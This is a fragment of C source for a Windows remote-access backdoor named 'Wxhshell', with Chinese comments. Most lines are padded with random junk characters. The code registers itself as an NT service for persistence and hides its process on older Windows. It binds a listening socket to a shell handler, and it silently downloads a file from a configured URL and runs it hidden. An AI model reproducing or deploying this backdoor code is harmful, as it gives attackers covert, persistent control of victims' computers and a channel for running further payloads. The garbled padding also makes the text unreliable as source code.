{ c={bunnz#
DWORD ExitStatus; x:O;Z~ |.
DWORD PebBaseAddress; 12,,gwh
DWORD AffinityMask; <>FpvdB
DWORD BasePriority; APA:K9jD
ULONG UniqueProcessId; x#{.mN
ULONG InheritedFromUniqueProcessId; R2[-Q"|Ra
} PROCESS_BASIC_INFORMATION; \.%GgTF
Ce0YO~I
PROCNTQSIP NtQueryInformationProcess; *U=%W4?W
D,H v(6({
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qOk=:1`3
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3'zm)SXJ
9As K=/Buf
HANDLE hProcess; :"oQ _bLT
PROCESS_BASIC_INFORMATION pbi; +/E
yX=
F};G&
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =,-&h
V
if(NULL == hInst ) return 0; ]wQ#8}zO
BL^8gtdn
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z`)}1|~B
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |Vs?yW
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <8Zm}-U
i!JVGs
if (!NtQueryInformationProcess) return 0; CF:s@Z+
|4@su"OA
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c)tG1|Og]
if(!hProcess) return 0; voHFU#Z$
WTcrfs)T
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hvS4"%\
g}B|ZRz+{
CloseHandle(hProcess); U<*8KiI
0ThX1)SH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I;<aJo6Yl
if(hProcess==NULL) return 0; EhOy<f[4W
sX~
`Vn&
HMODULE hMod; m%bw$hr
char procName[255]; 7:D@6<J?
unsigned long cbNeeded; >; A7mi/
u#l@:p
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8sG0HI$f+
rIE
m
CloseHandle(hProcess); 2yyJ19Iul
1eZ759PoO
if(strstr(procName,"services")) return 1; // 以服务启动 VHlN;6Qlff
-W:te7
return 0; // 注册表启动 n!B*n(;!u
} H^c8r^#
i.e1?Zk1
// 主模块 m*d {pX
int StartWxhshell(LPSTR lpCmdLine) Yc,qXK-
{ B7fV_-p: G
SOCKET wsl;
}?
W[D
BOOL val=TRUE; 8a^E{x@HT
int port=0; ,/=Fm
struct sockaddr_in door; x@ZxV*T^
/Y>$w$S
if(wscfg.ws_autoins) Install(); 2)A% 'Akf
xSQ:#o=8G
port=atoi(lpCmdLine); i'$V'x'k
VR @V3 ~
if(port<=0) port=wscfg.ws_port; FKOTv2
12yr_
WSADATA data; SGd[cA
K o
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _^ 2rRz
hw@ `Q@
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8pQx6QE
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \C
)S3!h
door.sin_family = AF_INET; ?4kM5NtP
door.sin_addr.s_addr = inet_addr("127.0.0.1"); t@`w}o[#
door.sin_port = htons(port); _i=431Z40
7$l! f
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ._uXK[c7P
closesocket(wsl); "lFS{7
return 1; ^11y8[[
} 6i6m*=h
9Dq^x&z(
if(listen(wsl,2) == INVALID_SOCKET) { u]W$'MyY
closesocket(wsl); vCf{k
return 1; @MS}tZ5
} SpM|b5c5
Wxhshell(wsl); &.zG?e.
WSACleanup(); 't+
J7
V6:S<A
return 0; ,-11w7y\
Y -Zw'
} L*Gk1'
wN|;_~h2
// 以NT服务方式启动 T=EHue$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `Dck$
{ fL #e4
DWORD status = 0; R|jt mI?
DWORD specificError = 0xfffffff; s+@+<QE
m0I)_R#X[
serviceStatus.dwServiceType = SERVICE_WIN32; |L@&plyB-
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 00?_10x)
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /Ria"lLv
serviceStatus.dwWin32ExitCode = 0; % Rv;e
serviceStatus.dwServiceSpecificExitCode = 0; e;M#MkP7
serviceStatus.dwCheckPoint = 0; 8QYP\7}o
serviceStatus.dwWaitHint = 0; jf`QoK
)(?,1>k`Z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jvI!BZ
if (hServiceStatusHandle==0) return; M@k8;_5
l@
amAusE
status = GetLastError(); CNo'qlvF5N
if (status!=NO_ERROR) qT<OiIMj^
{ B<99-7x3
serviceStatus.dwCurrentState = SERVICE_STOPPED; kq{PM-]l
serviceStatus.dwCheckPoint = 0; ")'9:c
serviceStatus.dwWaitHint = 0; X=8CZq4
serviceStatus.dwWin32ExitCode = status; !CBvFl/v
serviceStatus.dwServiceSpecificExitCode = specificError; Oy,7>vWQI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H2ZRUFu
return; ;qA(!`h+
} lUL6L4m
?5N7,|K)
serviceStatus.dwCurrentState = SERVICE_RUNNING; Hwz.5hV"
serviceStatus.dwCheckPoint = 0; <}\!FuC
serviceStatus.dwWaitHint = 0; V<:)bG4;d
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F9Hxqa#1T
} St1Ny,$yU
w$XqxI/&
// 处理NT服务事件,比如:启动、停止 >@g+%K]
VOID WINAPI NTServiceHandler(DWORD fdwControl) HX;JO[0
{ '7oWN,-
switch(fdwControl) yHXQCWY{8;
{
}T)0:DF1,
case SERVICE_CONTROL_STOP: ]^e4coC
serviceStatus.dwWin32ExitCode = 0; cYC@@?
serviceStatus.dwCurrentState = SERVICE_STOPPED; qG]G0|f
serviceStatus.dwCheckPoint = 0; $?HOke
serviceStatus.dwWaitHint = 0; n A<#A
{ F}f/cG<X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c'wxCqnE
} Y<]A5cm
return; .T>^bLuFy
case SERVICE_CONTROL_PAUSE: 8 h.Dc&V
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^$N}[1
break; U,tl)(!@Q-
case SERVICE_CONTROL_CONTINUE: W
Ai91K@
serviceStatus.dwCurrentState = SERVICE_RUNNING; d)R7#HLZ7
break; CeZ+!-lG
case SERVICE_CONTROL_INTERROGATE: S'h{["P~
0
break; q':P9o*N?
}; =tKb7:KU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^$!H|
} dcd9AW=
+Fk]hCL
// 标准应用程序主函数 {o."T/?d'
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iI]E%H}
{ I+!?~]AUuq
@VzD>?)
// 获取操作系统版本 ~S85+OJ;M
OsIsNt=GetOsVer(); ,\DSi&T
GetModuleFileName(NULL,ExeFile,MAX_PATH); !,(6uO%
8mmHefZ}2!
// 从命令行安装 yUyx&Y/
if(strpbrk(lpCmdLine,"iI")) Install(); ![ce=9@t<
[X\<C '<
// 下载执行文件 ~+~^c|
if(wscfg.ws_downexe) { )B!64'|M
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F?!X<N{
WinExec(wscfg.ws_filenam,SW_HIDE); 1.U9EuI
} 1v?|n8
@ptE&m
if(!OsIsNt) { MYlPG1X=?
// 如果时win9x,隐藏进程并且设置为注册表启动 ta*6xpz-\Q
HideProc(); 3d>3f3D8;
StartWxhshell(lpCmdLine); e8Y;~OAj[
} Fv )H;1V
else s"xiGp9
if(StartFromService()) )HL[_WfY
// 以服务方式启动 evLZ<|
StartServiceCtrlDispatcher(DispatchTable); 0dKv%X#\
else 7`G
FtX}
// 普通方式启动 t0"2Si
StartWxhshell(lpCmdLine); b~u53
x\R%hGt
return 0; \Wn0,%x2
}